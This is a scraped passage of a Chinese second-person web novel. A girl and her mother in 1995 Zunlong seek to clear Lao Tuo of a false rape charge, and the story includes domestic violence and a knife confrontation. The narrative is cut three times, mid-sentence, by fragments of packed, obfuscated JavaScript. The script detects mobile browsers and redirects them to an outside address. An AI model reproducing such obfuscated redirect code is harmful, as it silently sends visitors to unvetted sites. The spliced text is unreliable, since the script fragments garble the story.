王翠莲喋喋不停。 你知道母亲不是因为累病倒的。 母亲也知道你不是因为害怕警察病倒的。 你们同时艰涩地转动脑袋,母女两人生平头一次如此默契,互相看着对方。 你无声地质问:“是吗?” 她无声地反问:“为什么?” -是吗?是野人爸爸害了超人爸爸?妈妈你也知道的吧。 -为什么?你为什么非要叫老陀爸爸!故意害我丢人是吗?你爸爸现在彻夜不归你总算高兴了吧? - 一周后你母亲终于有力气出摊了。临出发前,她站到镜子前。 边缘破损的圆镜里映着一张白惨惨的脸,用牙使劲咬着嘴唇,才能略有血色。 她张开嘴,努力张,露出八颗牙,一张僵硬的笑脸被制造了出来。 你背着书包静静看着母亲。门后窸窸窣窣的,你知道,它们想出来。 它们共用一条蛇身,却长了两个人头,按照人头数量,你称呼为它们,确实没错。 这几天你烧得厉害。是它们每晚从屋顶爬下来,用冰凉的蛇身把你紧紧缠绕起来,两张和你一模一样的脸轮流贴着你的额头,一点点把热气吸走。 它们吐着细细的气,一声又一声,叫你小可爱啊小可爱。许是喉咙通着蛇身,声音听起来嗡嗡隆隆,像是来自于遥远地下的空鼓幽洞。 蛇身轻轻蠕动着,一层层鳞片在月光下化作海浪把你推走扯回……它们成了你的蛇形摇篮。 身后的窸窣声越来越大,你趁着母亲不注意偷偷回头……两张和你一模一样的脸上下交错着挤在门缝处盯着你,巨大的蛇尾盘旋其后,把整个卧室填满。 “小可爱啊小可爱~” 你赶紧朝它们嘘了一声。它们两个立马听话地闭上了嘴,往后退去,悄悄撤回了两张脸。 - 一切照旧。天未亮时你就被放在了幼儿园门口。母亲头也不回地弯着腰拖曳着拉车走进薄雾里,消失在路的尽头。 你毫不犹豫地跳出母亲在地上画的圈,远远跟了上去。 集市还是那个集市,可老陀的摊位被旁边卖袜子的霸占了不说,母亲的摊位上也另站了一个手脚麻利的女人——同样的羊肉粉招牌,同样的一元一碗,同样的铁锅里炖着羊肉羊骨头羊眼羊尾巴。 在母亲消失的一周内,这个世界迅速又多了一个“她”。 你敏锐地闻出这个模仿者炖的羊肉来自绵羊,而不是更为腥膻的麻羊。但这不重要。重要的是母亲立命安身的地方被人霸占了。 母亲又惊又怒,甩开膀子上前理论。 卖袜子的冷笑道:“我们可都是正经做买卖的,跟你这种爱发骚爱勾引人的不是一路,你可别糟践了这么好的地儿。赶紧有多远滚多远,遵龙镇不欢迎你。” 模仿者一点也不觉得自己有错,“你还没离婚呢就给你闺女找了个新爹,你有什么脸面站在这里做生意?我可用了十大桶水把这里洗刷地干干净净才敢站上来,生怕沾了你的骚气,染了你的晦气!” “你闺女当着大家面叫人家老陀爸爸,小孩子可不会说谎!这不是证据,什么是证据?可别说我们造谣欺负人!” “就是就是!我看就应该把你也抓起来!” “早都看你们两个不正常了!又不是夫妻,又不是兄妹,整天凑一起你帮我我帮你,勾勾搭搭的,能不出事吗?” …… 你站在不远处,看到母亲的肩膀抖成了筛子。 证据? 你这个被众人强行指定的“证人”一脸懵。 你看似有一个爸爸,实际有两个爸爸,你看似有两个爸爸,其实又只有一个爸爸。 别人不懂,你母亲一定懂。 她咆哮,否认,歇斯底里跳脚回骂,可对方人多势众,嫉妒她手艺好,挣钱稳,恨她面对绵延几年的流言蜚语都不肯退缩挪位……这次,他们誓要把她硬挺的脊梁打折,把她嚣张的脸面踩碎,把她永远赶出遵龙镇。 这些无人压制的人形鱼干异常凶猛,他们推搡着,拽扯着,把你母亲的拉车推到在地,强行在她身上泼满了脏水。 这次再没有人帮忙。 她孤零零一个人成了被唾沫包裹的灰尘,连飞起来的资格都没有。 - 你转身就跑。 派出所就在主街的尽头。老陀就在那里。 风声在耳边呼啸,心脏快跳出喉咙,可待你气喘吁吁跑过去,穿着制服的人们无情地把你拦住。你拼命地问老陀呢?老陀呢?他们压根听不明白,也不知道你在哭什么。 你失望极了,只得又跑回集市。 母亲早都不见了。 那个模仿者趾高气昂地掂起一桶水朝地上泼去,边泼边冷笑:“还有脸回来叫我让位置?!晦气!” 说完,换了张笑脸高声喊道:“正宗的麻羊羊肉粉,一元一碗!一元一碗!” - 1995年那个遥远的初夏下午,如果老天爷恰好将祂怜悯的目光投射到黔北市遵龙镇,就会发现有个小小的身影,犹如一抹幽灵在迷宫一样的街巷极速穿荡。 这抹幽灵生前可能是一头小犟牛,见到门就想撞开,不管这门是不是红色。 从早到晚,从晴空无云到初夏惊雷,从雨启到雨停,你这头小犟牛不知疲倦,手握着那把钥匙,见门就插,被人骂神经病也无所谓,被人推倒搡翻也在所不惜,你要打开那个门,你要老陀回来! 他工作的粉末厂你去了,看门大爷把你拦住,骂你不好好上学净干偷鸡摸狗的事。 他的家你去了,同院的邻居大妈把你拦住,骂老陀穷鬼一个没东西让你偷,除了一堆破书。 你不偷不抢,你只是想找到那个门,那个能让老陀回来的门,那个能让你拥有爸爸的门。 没人明白。 你找了一天,饿了一天。 正值满月,一轮皎白缓缓跟着你,你失魂落魄地走在回家的路上。两侧比你还高的野草影影绰绰,摇摇晃晃,里面藏了无数人形鱼干,正在对你指指点点。 “就说你是倒霉蛋吧!刚给自己找了个好爸爸,好爸爸就被抓走了。” “你就只配过这样破烂的人生!你永远也不可能幸福!永远不可能!” “爸爸不爱妈妈不疼,现在连老陀也不见了,你怎么不哭啊!哭出来让我们开心开心!” …… 就在这时,一条野狗出现在你面前。 它比你还惨,饿得瘦骨嶙峋,饿得两眼发光。 你停了下来,两侧的人形鱼干也停止了晃动和碎语,它们的眼睛又大又凸,闪着精明的光。 这是一场野狗与野孩子的大战,一场被抛弃者和被厌恶者的大战,也是一场人形鱼干们最爱看的好戏。 你想起老陀说的话。 “重重啊,见到狗不要跑!要缓缓蹲下,在地上捡个棍子或者石头,朝它龇着你的牙齿!对,就像这样,嗷呜一声,凶一点,它就被你吓跑了!” 你呲着牙,裂开嘴,缓缓蹲下。 野狗冒着幽冷的光朝你走近两步。 你嗷呜一声,声音小得人形鱼干们都忍不住掏了掏耳朵。 野狗又走近了两步。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14370028|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一个比手掌还大的石头被你吃力地攥着,你又嗷呜了一声,轻柔地像一阵风拂过。 野狗懂了。 你是假把式,你是比它还垃圾的小垃圾,你自然是最好欺负的。 该换它龇牙了,该他当王了,当你这个小垃圾的王。 它一跃而起,呼啸而来,枯草一样的毛发在皎月下总算有点光泽,瘦凸的肋骨根根分明……你连连后退,惊恐中,身后传来窸窸窣窣的声音。 是它们! 是拥有巨大蛇尾、和你长着同张脸、喜欢叫你小可爱的它们。 它们从你身后飞窜而起,朝着皎白月轮,在空中划过一道无与伦比的硕大影子,两张和你一模一样的脸骤然变形,嘴巴越裂越大,大到可以看到里面通着的血洞蛇躯,大到可以吞月纳星…… 你仰起头,满脸兴奋,看着它们一头一半将野狗吞进肚子,看着它们甩动巨大的蛇尾把躲在野草里人形鱼干砸成了鱼泥,看着它们转过身来,朝你一声声吐着细细的气,唤你:“小可爱啊小可爱!” 你像王一样,一步一步走过去,蛇尾乖巧地缠着你的脚,盘上你的腿,窜到你的胸口,将你紧紧裹在怀里,冰凉却又温暖…… - “李重!” “李重!” 母亲穿过夜霭出现在路的尽头。 蛇尾咻的一下松开,它们赶紧朝你的左右脸颊各亲了一口,懂事地钻入黑暗中,悄无声息。 宽阔的大路只剩下你一人。野草摇摇晃晃,高高挺立。 母亲满头大汗,一路小跑奔向你。 “死孩子,你跑哪去了?我找了那么多地方,都没有找到你。你想让人贩子把你拐走吗?你想让野狼把你叼走吗?你想让……” 她咆哮着,还没说出第三种让你人间消失的方法,便被你一个箭步抱住了腰。 你把脸深深埋在她的怀里,任凭她怎么扯你都不松手。 …… 末了,她也累了,一屁股坐到地上呜呜哭了起来。 她在哭什么? 哭自己好不容易站稳脚跟又被人抢走的摊位?哭自己有一个永远只会带给她霉运的女儿?还是哭自己那个连见都没见过一面的儿子? 亦或是,哭自己不能说出口的对老陀的担心? 你从书包里掏出那把钥匙,递到她面前。 她一把攥住它,盯着你说:“他给你的?” 哪个他? 你们默契地没说名字,可你们都知道在说谁。 母亲破涕而笑,连眼泪都来不及擦,扯着你疾步往主街跑。 - “庆芬,我哥们有间房。虽然离主街有点远,好歹是个门面房。你拿去开个羊肉粉店,比在大集上搞临时摊位强。慢慢把门头熬起来,你和重重也好有个依靠。要是做得好,说不定熬成咱们黔北第一羊肉粉老字号。” “店名我都替你想好了。就叫王庆芬羊肉粉店。用你自己的名字,亮亮堂堂地叫出来,让所有人都知道你有个好手艺,你能挣钱养家,你不比谁差。” “你把钥匙拿着。别不好意思啊。我哥们现在在广东做生意,有钱的很,这房子他空着也是空着,我就当个二房东,转租给你。租金就是每天给我做三碗粉。” “你要是嫌我吃得多,那就每天两碗粉。要是还嫌我吃得多,那我就帮你打个杂,洗个碗。” “这事没人知道,就我知道。你不用担心旁人说闲话。” “哎,我说正经的。你别不信啊。我有钥匙,真有钥匙。” “……” - 从主街回来。母亲破天荒地牵起了你的手。 月亮爬得更高了,两道影子不紧不慢地在身后互相伴着。 再远一点,它们也悄然跟着,像永远忠诚的卫士。 月光下,前面一大一小,后面两头一尾。野草随风摆动,偶尔几声虫鸣。 诡异又和谐。 父亲竟然在家。你发现他的手腕上戴了一块从未见过的机械表。 他端坐在堂屋的椅子上,满脸不悦地盯着深更半夜才回来的你们。 “干什么去了?” 好似这几天消失不见的人是你们,而不是他。 母亲平静地说:“看月亮去了。” 你抬头看了眼母亲,点点头道:“今晚的月亮又大又圆,真漂亮。” “你们知道老陀犯了什么事吗?”他得意洋洋主动提及。 你不由往前挪了一步,母亲不动声色地捏了捏你的手心。 你停了下来。 “我早说他是个老流氓,你们还不信?!他犯了□□罪,这可是要判十年以上的重罪。” “他前头那个老婆都再婚了,他还不停地去骚扰。前段时间他喝多了酒把人给□□了。” “李重,你还想让这样的人当你的爸爸?” “还有你,王庆芬,你还把他当好人?” “你们两个别再在外面给我丢人现眼了行不行?!” 你沉默地盯着他。 父亲看着你这张连听到□□两个字也能平静的脸,又觉得心颤肝疼。 母亲说:“你说这些跟我和李重有什么关系?我们不想听。” 她低头看向你,“是吧?” 你点了点头,“嗯。” 父亲颇为意外。 母亲把一瓶鸭溪酱酒放到桌子上,温柔地说,“要不要我给你倒点?喝舒服了好睡觉。” 23. 第23章 李重啊。 老陀骗了你。 你明明找到了那把钥匙能打开的门,他却再也没有回来。 反而,他是□□犯这个消息传得到处都是,你不信,你知道母亲也不信。 刚好地质队幼儿园为了创收,连暑假也办起了托儿班,母亲求之不得,赶紧把你塞进了进去。 她严令你不许再逃学,还直直白白地告诉你,要是你再消失,她也不找了,你活也罢死也罢,都与她无关。 你含着泪,“我要找老陀。” 母亲脸色晦暗,“各人有各人的命,你还是顾着你自己吧。” - 你双手握着幼儿园围墙上的铁栏杆,眼巴巴地盯着那条通往幼儿园唯一的路。 可再怎么等,也等不到那个高高壮壮的身影。 你想起老陀教你的诗。 “谁知鸟心思,笼中哀怨声。” 你不想哀怨,你想哭,你想大声哭,想让你的哭声穿街过巷,越山掠河,让另一只被关在笼中的叫“老陀”的鸟听到。 可你不能哭,你答应老陀不再哭,你也答应母亲不再跟人提及老陀的名字,更不能告诉其他人老陀是你的超人爸爸。 你从父亲珍藏的矿石堆里偷了一块黑色燧石。 有一次他喝多了,得意洋洋地向你和母亲展示他的藏品。那些闪闪发光的黄铁矿、等同黄金价值的狗头金,以及犹如蓝色羽毛般美丽的蓝色重晶石,你都毫无兴趣,唯独看中了这块不起眼的黑色燧石。 他说,燧石硬度高,质又密,原始人常用它来打制石器,并且燧石断口经过敲击后会变得更加锋利,太平洋地区的波利尼西亚人就用这种石头制成了短刀,近战时,杀伤力不低于钢铁匕首。 上一把石刀已经碎了,你需要磨一把更为趁手、锋利、耐摔的石刀,总有一天你要砍断关着你的铁栏杆,砍断关着老陀的铁栏杆。 所以你偷了它。 你蹲在幼儿园的墙角里不停磨这块黑色燧石。别人玩跳皮筋,你磨石,别人追逐嬉笑,你磨石,别人哭闹不止,你磨石…… 所有人都觉得你病得不轻。 - 与此同时,你发现家里温情一片,暖意十足。 母亲不再唠叨,不再指责,不再反驳,每天变着花样做饭不说,还主动给父亲买衣服,买鞋袜,买好酒。 她乖顺又听话,伏低的同时又仰望。父亲很喜欢。 母亲说鸭溪酱酒父亲都喝腻了,让王翠莲王阿姨去茅台镇跑车时捎回来三大箱本地原浆酱酒,它虽比不过茅台酒,好歹是茅台镇几千家酒厂之一出品,味道也差不到哪里去。 父亲喝得两眼放光,喝得喜不自胜,甚至还叫了好几波不知从哪里交来的狐朋狗友来家里吃饭,母亲亲力亲为,做了满满一桌子好菜,给了父亲足够的面子。 有时候,父亲头一天喝多了,还没缓过来劲,可母亲又做了一桌好菜,父亲肚子里的酒虫果然叫唤起来,立马又给自己倒了满满一杯。 喝多了,他就闹,家里的东西能摔的都摔了,有时候巴掌呼到母亲脸上,她也不哭,只是拢了拢头发,仰着脸轻声道:“喝酒生气对身体不好,我扶你回屋睡觉。” 待卧室内终于传来震天响的呼噜声,你看见母亲阴沉着脸从里头走出来,她看到了你,又像没看到你,转过身坐在堂屋的小桌前,翻开了一本字典开始一笔一划认字。 - 你母亲在家里足足待了一个月没出门,久到你父亲也开始催促她赶紧想办法出去挣钱。 毕竟,“温顺”不能少,“供奉”也不能少。 你母亲很听话,出去跑了一天,回来兴奋地告诉他,主街旁的一个偏巷里有个门面房,房东去广东挣大钱去了,这处门面房闲着也是闲着,人家愿意以极低的价格租给她。 时来运转,她不停地强调这四个字。你父亲没好气地说:“这个世界上那么多有钱人,为什么不能多我一个?” 你母亲被赶出了遵龙镇主街大集,却在主街旁的小巷里重新开了张。这次她再也不用拉着沉重的拉车在地质大院到主街之间来回奔波,再也不用担心谁抢了她的摊位,谁掀了她的铁锅。 她又亲自去了一趟六十里外的仡佬族村寨,请老林头出马做一张木制匾额。老林头听说你之前从他这里回去后就开口说了话,高兴极了,从阁楼深处找了块上好松木,烘干后当做匾额底板。 上灰、刷腻、打磨,刻字、上漆,上色,一步又一步,最后用河蚌壳填了“王庆芬羊肉粉店”七个大字。 你母亲的名上了匾,你母亲誓要堂堂正正站在匾下挣钱。 后来你父亲知道了这件事,又摔烂了一个碗。他说你嫁到我们李家,活着是李家的人,死了是李家的鬼,就连这个店也应该叫“老李家羊肉粉店”。 你母亲十分歉然,“我找人算过,算命的说起这个店名能赚大钱。” “说你蠢你还不信,就你那个名,土不拉几的,要是能旺你,你早发大财了。” 你母亲笑了笑,“也是,我总被骗。但匾都做好了,也挂上去了,要是真不赚钱,再换名。” 你父亲当晚又因为生气多喝了几杯。 你怯生生地凑上前,“爸爸,幼儿园有个同学嘲笑我连几点几分都搞不清楚。” 你父亲一听,自然不能忍,当即把手腕上的手表取下来,放到桌面上,“你怎么跟你妈一样笨。长针代表几点,短针代表几分。懂了吧。” 你懵懵懂懂地点点头,小心翼翼把手表放到手心里,“好漂亮的手表啊。爸爸,你是从哪里买的?” “买?你老子还需要买?”父亲扬起手,你自觉把左脸伸过去,你知道你一定说了什么让父亲不高兴的话,他又要打人了。 你极少叫他爸爸,也极少拿正眼看他,此刻,你一口一个爸爸,像小狗一样在他身边旺旺叫……他的巴掌落下来时变成了不轻不重的拍打。 “这是一个大老板送我的。你老子帮了他一个大忙。他感谢我,非要送我这块表。这表是机械表,非常贵。一般人想买还买不到!” 你母亲不动声色地又把酒杯倒满。 "爸爸好厉害啊。是哪个大老板叔叔?能不能让他也送我一块手表?" 你父亲嗤笑起来,狠狠打了一个酒嗝后,“说了你又不认识。一边玩去吧。” - 你母亲以从未有过的激情经营着这个和她同名的店。她眼里的光越来越多,脸上的笑也越来越多,哪怕开业第一个月没几个人上门吃饭,她也总能在空无一人的店里忙成个陀螺,如花蝴蝶般飞来飞去。 见生意迟迟不能好转,她索性和乡下卖羊肉的达成协议,由她批发羊肉去市里沿街叫卖。能卖多少卖多少,卖不完的她再还给对方。 于是你母亲更忙了,忙得家里经常冷锅冷灶,你父亲满嘴怨言咒骂,你母亲只得把大部分收入给他让他去镇上吃香喝辣,这才塞住了他的嘴。 有一天,你母亲破天荒地把你带上。她在前面拉,你在后面推。碰到城管只能跑,碰到苛责的饭店老板,要你母亲先帮忙洗一个小时碗才肯买她的肉。 临近中午时,你们把临时摊位摆在湘江河边的一个路口。往东是河对面的黔北老城区,从路口往西是正在开发中的新区,好几个漂亮的小区拔地而起,很多有钱人住在这里,当然吃得起羊肉。 你发现母亲有点奇怪,明明还有很多肉没卖出去,她却留着不卖。过了好一会,一个拎着菜篮子的中年女人走了过来,母亲立马站起来招呼。 对方显然认识母亲,“哎呦,我的好庆芬,幸好你在。我家老板娘最近怀孕了,特别想吃羊汤。我又不会做,正愁得要死!能不能耽误你一会子时间,你去家里帮我炖上?” 母亲有些为难,“钟姐,我做的也不知道人家爱不爱吃,万一难吃……” “你要是做的难吃,就没人做的好吃了!”钟姐热情地上前挽着母亲的胳膊。 “我还有好多肉没卖出去呢,这……” “你剩下的羊肉我全买了,这还不行?” - 晕乎乎的,你跟着母亲进了一个超出你认知的漂亮房子。 入口处巨大的鱼缸映着你震惊的脸,五彩斑斓的鱼穿过你的眼,你的鼻,最后钻进你张开的嘴。 旋转楼梯、水晶吊灯、壁画地毯、沙发酒柜等等,五花八门,富丽堂皇,却冰冰凉凉。 你狠狠打了个冷颤。 女主人正在主卧睡觉,你们三人躲在厨房,把声音降到最低。 钟姐朝主卧努了努嘴,小声道:“人家第一次怀孕,娇气地很。我做什么都吃不下。今天突然说想喝羊汤,我又不会做。也不知道是不是故意找我茬儿?你别看我在这里做住家保姆,工资又高,住得又好,其实说白了就是个佣人,仆人,主人家稍不高兴,就把我给辞退了!” 你母亲熟练地把肉片薄,“钟姐,我教你呗!做羊汤其实很简单,主要是用各种调料把腥膻味给去除了,再多花点时间,把肉香味熬出来……” “庆芬你真是个好人。我早都看不惯遵龙镇上那帮人合伙欺负你。不行你就别开羊肉粉店了,我在这个小区也给你寻个保姆的活儿,你就不用再回镇里受气!受一个人的气总好过受一堆人的气。” 你母亲先是眼前一亮,而后看了下你,摇了摇头,“现在肯定不行,老的小的都要我伺候。” 钟姐叹了口气,“人的命,天注定。你看屋里头那位命就好,天生享福,二婚也能嫁给矿老板。矿老板能是一般人吗?有钱有势力,在整个黔北没有人家摆不平的事。老婆出门都有保安护着,从这条街买到那条街,被宠得跟个眼珠子似的……” 你母亲的手顿了顿,扫了一眼案台,“钟姐,你得去楼下买点花椒,要咱们黔北本地红花椒,只有这种才能去除麻羊的腥膻味!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379910|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钟姐一听,赶紧擦干净手往外走,走到大门处又折回来,叮嘱道:“她睡觉怕吵,你们可别弄出声音来。” 五分钟后,你瞧见你母亲从后腰掏出那把你熟悉的不能再熟悉的羊腿刀。 她高高扬起,一刀插在羊腿肉上,刀尖在骨和肉之间游走,案台被砸得哐哐响。 一分钟后,一个穿着睡衣的漂亮女人气冲冲出现在厨房门口。 她大吃一惊,“你们是谁?为什么在我家。” 你母亲平静地把羊腿刀拔出来,常年浸润在血肉里的刀刃泛着光。 漂亮女人吓得后退一步,一只手捂着小腹。 “你是老陀的前妻吧?” 你母亲往前走了一步。 漂亮女人想逃。 你掏出已经磨得差不多的燧石小刀,越过漂亮女人,跑到大门口站着,像个小门神。 一大一小,两女两刀。 漂亮的怀孕女人被你们堵在中间。 你母亲表情复杂地看了你一眼。 “放心,我不会当着我闺女的面儿杀人。” “那你到底想干嘛?” 漂亮女人的声音又细又尖。 “老陀是什么样的人,没有人比你更清楚。你攀高枝抛弃他,他只会自己伤心,压根不会多说你一个字,他这样的人,怎么可能……强迫你?!” 漂亮女人满脸惶恐,“你跟他是什么关系?你是怎么知道的?” 你母亲冷冷看着对方。 “你们到底对老陀做了什么?为什么到现在他还没被放出来?” “你去告诉警察,老陀什么也没做,他是无辜的!” 刀刃挥动,屋顶垂下来的水晶灯里闪过无数个刀影,以及无数张你母亲压抑扭曲的脸。 漂亮女人吓得瘫软在地上。 “来不及了。” “他承认了。他知道他不承认,我就没法活下去。” “我要是活不下去,他也活不下去。” 她说的乱七八糟,你听糊涂了,你母亲也听糊涂了。 漂亮女人扯开衣领,露出青红伤痕。 - 李重啊。 你不知道笨拙的母亲是如何瞒着父亲,在数十万人口的黔北市找到这个漂亮女人。你也不知道母亲如此懦弱胆怯,为何又敢举着羊腿刀逼迫对方还老陀一个清白。 你更不知道她到底对老陀怀着一种什么情绪? 是感激?是同情?是怜悯?还是爱?亦或什么都不是。只是一种出于本能的反应。 模糊不清却又坚定真实。 她不能去派出所喊冤,她没有资格也没有证据,她只能于暗处潜伏着,躲过你父亲的窥视和控制,起早贪黑拽着沉重的拉车,一边叫卖,一边找人。多少次她希望而来,失望而归。 现在,她终于找到了人。 这个叫高倩的漂亮女人。 _ 漂亮女人也会说谎,也会被打,也会因为害怕再被打而继续说谎,也会因为不停说谎,又能继续过着“幸福”生活。 从破房子到大豪宅,从吃糠咽菜到吃香喝辣,从亲力亲为到坐拥仆人,从低人一等到高高在上,这个叫高倩的女人应该过得很幸福,也必须过得很幸福。 然而,你握着你的燧石刀,看着瘫在地上的她。 她嘴巴一张一合,像极了躺在岸边快要溺亡的鱼。 “我也没想到姓罗的婚前婚后不一样。他不许我出门,不许我见人,把我当成个漂亮的花瓶摆在家里只给他一个人看。要是看到我跟谁多说一个字就会朝死里打我。就算我出门,也得他同意,还要他手底下的保安盯着我……” “这是我第三次怀孕,前两次都被他打流产了。老陀不知道从哪里知道这件事,就上门替我打抱不平。” 你看向母亲。她冷凝的脸开始松动,有种释然又有种悲伤。 “老陀把保安队长都打趴下了,姓罗的被逼无奈,保证以后不再打我,可转过身却把我打得更狠了。我实在受不住就想逃,偷偷去找老陀让他帮我,却被他们当场抓住……” 说到这里,高倩盯着你母亲手中的羊腿刀,突然喊起来了,“我想起来你是谁了?你是李朝贵的老婆!” “就是他,就是他跟踪我,向姓罗的举报。” “你还敢上门兴师问罪?都因为你男人,就差一点,差一点点,我就逃了。我会拿着我的钱,我的衣服,我的首饰……” 你母亲立马打断她,面色恸然,“所以,你为了自保,告诉警察是老陀强迫了你。” 高倩尖叫起来,“是姓罗的逼我这么做,不然他就打死我,打死我肚子里的孩子。我已经流产两次了,再流一次,我就再也没办法当妈妈了!” “再说,老陀也承认了。他知道,只有这样我才能活着,我的孩子才能活着。” “他自己都不在意,你们干嘛要替他出头?” 24. 第24章 从楼上下来,你们碰到了好不容易买来本地红花椒的钟姐。她大为吃惊。你母亲告诉她,她的女主人醒来后又说不想吃羊肉,便把她们从家里赶了出来。 钟姐气得直翻白眼。谁家怀孕跟她一样折腾人,不知道的还以为她怀的是龙种。 钟姐塞给你母亲一张一百,算是买肉钱和这趟的辛苦钱。 你母亲嘴角扯了扯,把钱接了过来。 钟姐问什么时候再来这里摆摊,你母亲木然地摇了摇头,“算了,也不赚钱。” - 失魂落魄。 两个失魂落魄的人。 两个失魂落魄的人推着拉车,一前一后,沿着湘江河,穿过正值最香的金桂花林,沾染了一席香味,却毫无觉察。待绕到高坪河,你终于忍不住冲到母亲面前…… 她两眼泛红,居高临下地看着你。 你问:“老陀为什么要帮她?” 母亲面色凄然,“他不也帮了我,帮了你?那他又是为什么?” - 只沉寂了一夜,你母亲又生出茁壮的活力。 门面有点偏,她找印刷厂印了几百页的广告,满大街招揽食客。镇上的电线杆、墙壁、宣传栏、甚至连公共厕所都不放过。当然,更大的人流量在每个月的那几天大集,你母亲忙不过来,便让你抱着一叠广告站在人群中发放。 你瘦小的身体被人流夹裹着,东摇西摆,没人看得见你,更没人搭理你。 好不容易有人愿意接住广告,你开始数数,一、二、三,果然,纸掉到地上,母亲的名字瞬间被踩满了鞋印。 你索性蹲到一旁,将这些广告叠成纸飞机,一个又一个,摆好摞好,然后一个个甩出去。 它们有的飞到卖袜子那人的脸上,对方被扎得往后一仰,气急败坏拽开纸飞机一看,脸色更难看了,破口大骂却又找不到人。它们有的直接飞到那个抢了母亲摊位和生意的女人锅里,你瞧见她慌里慌张把纸飞机捞出来,装作什么也没发生继续用这汤煮粉。 没多久她们就发现了你。你抡起小短腿,逃得飞快,快拐到偏巷时,一辆军绿色的运输车迎面驶过。 你睁大眼睛,竟然看到了老陀。他被两名警察押着,头低垂着,像被谁打断了筋骨。 “老陀!” “老陀!” 你激动地又蹦又喊,但车开得很快,只留给你一嘴的尾气。 你急匆匆跑回店里找母亲,她面色沉郁地把你嘴捂住拽进里屋。 “今天要在镇小学操场召开公审大会。” “我们都不许去。” 她没说你不许去。她说我们都不许去。 她想去,又不允许自己去吗? 你想去,一点也不想克制。你又哭又闹,任凭母亲怎么骂你打你哄你都没用。最后她把你关在了里屋,还把灯拉了。 幽黑一片。 你大声嚎哭,不管不顾地拍打着门。可外面只有沉默。 你瘫在地上,埋怨自己刚才没多看老陀一眼,哪怕多一眼。 就在这时,身后窸窸窣窣声传来,两张和你一模一样的脸从左从右贴上你的脸,随即巨大的蛇尾把你紧紧裹住。 “小可爱啊小可爱。”它们从喉咙里吐出细细的呼唤。 温柔又冰凉。 你终于止住了哭声。 你抽噎着往左看,“老陀是爱我的吧?” 左边的“你”点点头。 你抽噎着往右看,“老陀不会死,对不对?” 右边的“你”怜悯地看着你,没有点头。 你整张脸开始破碎,紧贴着你的两张脸也开始破碎,一模一样,别无二致。 压在喉咙的尖叫猛然冲出来,你捂着耳朵……身后巨大的蛇尾猛烈拍动起来,放在这里的锅碗瓢盆备肉备菜全被掀翻,飞了起来。 就在这时,门被猛然拉开,一道光射进来,你仰起头,巨大的阴影压迫过来,母亲沉郁的脸高高悬挂着,像一盏灯笼。 - 镇小学操场被堵成铜墙铁壁,你母亲扯着你,顶着叫骂声和埋怨声,硬是从后面挤到前面。 礼台上悬挂着“公拘、公捕、公判”六个大字,字字惊心,气氛肃穆。 前面是一排荷枪实弹的警察。你那么小,却一点也不怕,直直盯着站在中间空地上“犯人”们。 他们穿着一色的囚服,胸前挂着一块白板,白板上写着各种罪名,以及被红叉划掉的自己的名字。 你认得上面所有的字。 杀人罪。 抢劫罪。 □□罪。 …… 他们全都蔫蔫地耷拉着脑袋。你找了一圈竟然没有找到老陀。倒是有个高高壮壮的人,但他胸前挂的是“杀人罪”。 - 你和你母亲慢悠悠从镇小学走出来。路过小卖部,她停了下来,买了两个雪糕。 冰柜里最贵的。 你一口咬下去,牙齿先是破开香郁甜腻的巧克力脆皮,而后陷入冰冰凉凉的冰淇淋内芯,这还没完,咬到最后又是一层包裹着榛子坚果的巧克力……你从没吃过这么好吃的雪糕。 你仰起头,母亲一手拿着雪糕,另一只手伸开,粗糙的手掌接住了被风卷下来的娇嫩桂花。 一切缓下来了,像电影里的慢镜头。 母亲低头轻轻闻了闻手心里的花,眉毛、眼睛、唇角,甚至连头发丝都舒展开来,午后的光穿过枝蔓落在她的肩头,微风袭来,光影明亮且晃动,她闭上了眼,满脸的温意柔情……这是你从未见过的母亲的样子。 你看呆了。 - 接下来的每一天都不再难挨。心底的希冀一点点存起来,你的燧石刀也被打入冷宫,被塞到衣柜深处。 你母亲店里的生意也慢慢有了起色。谣言谤语再多再厉害,也厉害不过你母亲别处没有的手艺,真材实料的诚意,起早贪黑的勤恳。 没几天,有人说你母亲熬肉的汤里放了大烟壳。刚有好转的客流一下子又断了。 又过了几天,工商局的人上门突击检查。查了半天,也没查到违禁物品,你母亲反手一个举报,领着人直接跑去大集上那几家最近冒出来的羊肉粉摊位……不检查不知道,还真有人用大烟壳“增香添味”,用来熬制大骨汤,其中就包括那个霸占了你母亲摊位的女人。 所有人都看见了。想装作没看见也不成。你母亲清白极了,她的生意就此彻底好转。 哪怕她的店铺需要多走一两百米,也有人愿意绕这个路。 她头顶的牌匾稳稳当当,河蚌壳镶嵌的名字熠熠生辉。 你父亲酸得像个醋坛子,也只能骂两句。毕竟谁都不能跟每天哗啦啦响的现金流水过不去,那可是真实诚恳的钱,可以解决大部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389560|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 